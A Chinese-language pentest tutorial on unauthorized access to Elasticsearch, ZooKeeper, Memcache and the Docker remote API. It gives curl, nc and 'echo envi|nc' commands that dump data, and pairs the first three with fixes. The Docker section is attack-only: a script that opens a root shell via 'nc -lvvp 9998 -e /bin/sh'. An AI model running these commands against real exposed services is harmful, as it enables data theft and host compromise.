1.Elasticsearch未授权漏洞

  1. 端口号
    9200/9300
  2. 漏洞介绍
    Elasticsearch服务普遍存在一个未授权访问的问题,攻击者通常可以请求一个开放9200或9300的服务器进行恶意攻击。
  3. 利用思路
    可用来读取对应index里面的信息,可将其理解成一个数据库每一个index就是一张表每一个type就是一个字段,一个index里面有很多字段。
  4. 操作相关
    要利用这个漏洞,最重要的就是查看数据,下面是elasticsearch基本的查询方法

查询所有的 index, type:
curl localhost:9200/_search?pretty=true
查询某个index下所有的type:
curl localhost:9200/films/_search
查询某个index 下, 某个 type下所有的记录:
curl localhost:9200/films/md/_search?pretty=true
带有参数的查询:
curl localhost:9200/films/md/_search?q=tag:good
使用JSON参数的查询: (注意 query 和 term 关键字)
curl localhost:9200/film/_search -d ’
{“query” : { “term”: { “tag”:“bad”}}}’
http://192.168.80.126:9200/_plugin/head/ #web管理界面
http://192.168.80.126:9200/_cat/indices #查看集群当前状态
http://192.168.80.126:9200/_nodes #查看节点数据
http://192.168.80.126:9200/_river/_search #查看数据库敏感信息

  1. 实际操作
  • 直接访问ip:9200
    在这里插入图片描述
  • ip:9200/_cat/indices/?v #查询所有的index
    在这里插入图片描述
  • ip:9200/_mapping?pretty=true #查询所有index与其对应的type
    在这里插入图片描述
  • ip:9200/index的名字/_search?pretty=ture #查询对应index的type的具体值
    在这里插入图片描述
  1. 修复建议
    1、为elasticsearch增加登录验证,可以使用官方推荐的shield插件,该插件为收费插件,可试用30天,免费的可以使用elasticsearch-http-basic,searchguard插件。插件可以通过运行Biplugin install [github-name]/repo-name。同时需要注意增加验证后,请勿使用弱口令。
    2、架设nginx反向代理服务器,并设置http basic认证来实现elasticsearch的登录认证。
    3、默认开启的9200端口和使用的端口不对外公布,或架设内网环境。
    4、elasticsearch 早期版本在“CVE中文漏洞信息库”网站上已有部分漏洞被披露,建议使用1.7.1以上版本或使用最新版本程序。
    5、限制IP访问,绑定固定IP
  2. 参考
    Elasticsearch未授权访问漏洞

2.ZooKeeper 未授权访问漏洞

  1. 端口号
    2181

  2. 漏洞介绍
    ZooKeeper是一个分布式的,开放源码的分布式应用程序协调服务,是Google的Chubby一个开源的实现,是Hadoop和Hbase的重要组件。它是一个为分布式应用提供一致性服务的软件,提供的功能包括:配置维护、域名服务、分布式同步、组服务等。ZooKeeper的目标就是封装好复杂易出错的关键服务,将简单易用的接口和性能高效、功能稳定的系统提供给用户。

  3. 利用思路
    ZooKeeper默认开启在2181端口,在未进行任何访问控制情况下,攻击者可通过执行envi命令获得系统大量的敏感信息,包括系统名称、Java环境

  4. 利用相关
    zookeeper下载地址:http://archive.apache.org/dist/zookeeper/
    zookeeper可视化管理工具下载连接:https://issues.apache.org/jira/secure/attachment/12436620/ZooInspector.zip

  5. 实际操作

  • echo envi|nc ip 2181#返回大量敏感信息,host名等,下图为节选
    在这里插入图片描述
  • 也可以使用图形化界面查询Zookeeper中的内容
    在这里插入图片描述
  1. 修复建议
    禁止把Zookeeper直接暴露在公网
    添加访问控制,根据情况选择对应方式(认证用户,用户名密码,指定IP)
    配置防火墙策略,只允许指定IP访问2181端口
    配置服务ACL限制IP访问
  2. 参考
    Zookeeper 未授权访问漏洞

3.Memcache未授权访问

memcache是一套分布式的高速缓存系统,它以Key-Value(键值对)形式将数据存储在内存中,默认开放11211端口,使用nmap的脚本进行扫描。

  1. 端口号
    11211

  2. 漏洞介绍
    memcache是一套分布式的高速缓存系统,它以Key-Value(键值对)形式将数据存储在内存中,默认开放11211端口,使用nmap的脚本进行扫描。

  3. 利用思路
    直接使用nc进行连接获取敏感信息

  4. 利用相关
    stats 查看memcache 服务状态
    stats items 查看所有items

  5. 实际操作
    在这里插入图片描述
    在这里插入图片描述

  6. 修复建议
    一、 因memcache无权限控制功能,所以需要用户对访问来源进行限制。一般不需要外网访问的,可以直接绑定本地127.0.0.1 即可,实现方式如下:
    [root@local ~]# vim /etc/sysconfig/memcached
    OPTIONS="-l 127.0.0.1" #设置本地为监听
    [root@local ~]# /etc/init.d/memcached restart #重启服务
    二、 当memcached 配置为监听内网IP或公网IP时, 使用主机防火墙(iptalbes、firewalld等)和网络防火墙对memcached服务端口进行过滤。

  7. 参考
    未授权漏洞测试
    Memcache未授权访问漏洞利用及修复

4.docker未授权漏洞利用

扫描出docker未授权漏洞后使用脚本dockerRemoteApiGetRootShell.py进行攻击。攻击过程如下:

  1. 下载脚本:下载地址
  2. 安装依赖库(基于python2)
    pip install -r requirements.txt
  3. 获取受害主机shell
    python dockerRemoteApiGetRootShell.py -h ip -p 2375 # 获取docker id
    python dockerRemoteApiGetRootShell.py -h ip -p 2375 -e “nc -lvvp 9998 -e /bin/sh” -I c60d6d45e76c7d3f9d7abae075cb77b4924bd7133eebddc59679f2a60eb32bc2 #反弹shell
Logo

权威|前沿|技术|干货|国内首个API全生命周期开发者社区

更多推荐